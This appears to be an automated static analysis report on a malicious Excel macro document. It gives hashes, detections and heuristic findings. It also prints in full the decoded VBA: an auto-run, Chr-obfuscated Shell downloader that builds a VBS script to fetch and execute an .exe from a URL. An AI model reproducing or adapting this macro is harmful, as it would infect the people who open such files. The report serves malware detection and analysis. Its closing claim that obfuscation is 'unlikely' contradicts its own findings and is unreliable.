Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2e7f672ad3a169e3…

MALICIOUS

Office (OOXML)

12.5 KB Created: 2021-03-10 12:03:37 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-03-31
MD5: 9d2e12358d119828355b3fd3ebfb5988 SHA-1: bdd756fde47ecd5aad7e743d4363ea751221aa81 SHA-256: 2e7f672ad3a169e30d9d5dd1b9259e7e03397ffe0a9a6681c3e67751c880ffef
470 Risk Score

Heuristics 10

  • ClamAV: Doc.Macro.Downloader-6360616-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Downloader-6360616-1
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Chr(973 - 906) & Chr(426 - 349) & Chr(170 - 70) & Chr(210 - 178) & Chr(886 - 839) & Chr(669 - 570) & Chr(210 - 178) & Chr(669 - 570) & Chr(170 - 70) & _
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Shell Chr(973 - 906) & Chr(426 - 349) & Chr(170 - 70) & Chr(210 - 178) & Chr(886 - 839) & Chr(669 - 570) & Chr(210 - 178) & Chr(669 - 570) & Chr(170 - 70) & _
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     " & " & W3j & " G0j= ""http://example.com/xxxx.exe"">>Q0s.VBS &" & W3j & " Y3f = Y5a(""jqkG^q^"")>>Q0s.VBS &" & W3j & " Set M8x = CreateObject(Y5a(""flqfeKGqfeammi""))>>Q0s.VBS &" & W3j & " M8x.Open Y5a(""`^m""), G0j, False>>Q0s.VBS &" & W3j & " M8x.send ("""")>>Q0s.VBS  &" & W3j & " Set W4v = CreateObject(Y5a(""Z]h][Glmk^Zf""))>>Q0s.VBS &" & W3j & " W4v.Open>>Q0s.VBS &" & W3j & " W4v.Type = 1 >>Q0s.VBS  &@eCHo W4v.Write M8x.ResponseBody>>Q0s.VBS &" & W3j & " W4v.Position = 0 >>Q0s.VBS &" & W3j …
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Shell Chr(973 - 906) & Chr(426 - 349) & Chr(170 - 70) & Chr(210 - 178) & Chr(886 - 839) & Chr(669 - 570) & Chr(210 - 178) & Chr(669 - 570) & Chr(170 - 70) & _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     " & " & W3j & " G0j= ""http://example.com/xxxx.exe"">>Q0s.VBS &" & W3j & " Y3f = Y5a(""jqkG^q^"")>>Q0s.VBS &" & W3j & " Set M8x = CreateObject(Y5a(""flqfeKGqfeammi""))>>Q0s.VBS &" & W3j & " M8x.Open Y5a(""`^m""), G0j, False>>Q0s.VBS &" & W3j & " M8x.send ("""")>>Q0s.VBS  &" & W3j & " Set W4v = CreateObject(Y5a(""Z]h][Glmk^Zf""))>>Q0s.VBS &" & W3j & " W4v.Open>>Q0s.VBS &" & W3j & " W4v.Type = 1 >>Q0s.VBS  &@eCHo W4v.Write M8x.ResponseBody>>Q0s.VBS &" & W3j & " W4v.Position = 0 >>Q0s.VBS &" & W3j …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://example.com/xxxx.exe Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2560 bytes
SHA-256: 75049f9930ec76de42ddb8ef0e422f9b92be0b8f2c8468c27233ef193d7a0bd3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Private Sub Document_Open()
W3j = Chr(64) & Chr(69) & Chr(67) & Chr(72) & Chr(79)
Shell Chr(973 - 906) & Chr(426 - 349) & Chr(170 - 70) & Chr(210 - 178) & Chr(886 - 839) & Chr(669 - 570) & Chr(210 - 178) & Chr(669 - 570) & Chr(170 - 70) & _
 Chr(210 - 178) & Chr(56 - 19) & Chr(921 - 837) & Chr(990 - 921) & Chr(758 - 681) & Chr(790 - 710) & Chr(56 - 19) & _
 " & " & W3j & " G0j= ""http://example.com/xxxx.exe"">>Q0s.VBS &" & W3j & " Y3f = Y5a(""jqkG^q^"")>>Q0s.VBS &" & W3j & " Set M8x = CreateObject(Y5a(""flqfeKGqfeammi""))>>Q0s.VBS &" & W3j & " M8x.Open Y5a(""`^m""), G0j, False>>Q0s.VBS &" & W3j & " M8x.send ("""")>>Q0s.VBS  &" & W3j & " Set W4v = CreateObject(Y5a(""Z]h][Glmk^Zf""))>>Q0s.VBS &" & W3j & " W4v.Open>>Q0s.VBS &" & W3j & " W4v.Type = 1 >>Q0s.VBS  &@eCHo W4v.Write M8x.ResponseBody>>Q0s.VBS &" & W3j & " W4v.Position = 0 >>Q0s.VBS &" & W3j & " W4v.SaveToFile Y3f, 2 >>Q0s.VBS &" & W3j & " W4v.Close>>Q0s.VBS &" & W3j & " function Y5a(N8a) >> Q0s.VBS &" & W3j & " For M1c = 1 To Len(N8a) >>Q0s.VBS &" & W3j & " I3t = Mid(N8a, M1c, 1) >>Q0s.VBS &" & W3j & " I3t = Chr(Asc(I3t)- 25) >>Q0s.VBS &" & W3j & " J6g = J6g + I3t >> Q0s.VBS  &" & W3j & " Next >>Q0s.VBS &" & W3j & " Y5a = J6g >>Q0s.VBS &" & W3j & " End Function >>Q0s.VBS  & Q0s.VBS  &dEl Q0s.VBS  & tIMeOUT 13 & QXR.EXE", vbHide
End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14848 bytes
SHA-256: 5efbc9d23ead284943bc6da67597821c4066f4c77aa7f63285fc4dc4cde71c2c
Detection
ClamAV: Doc.Macro.Downloader-6360616-1
Obfuscation or payload: unlikely

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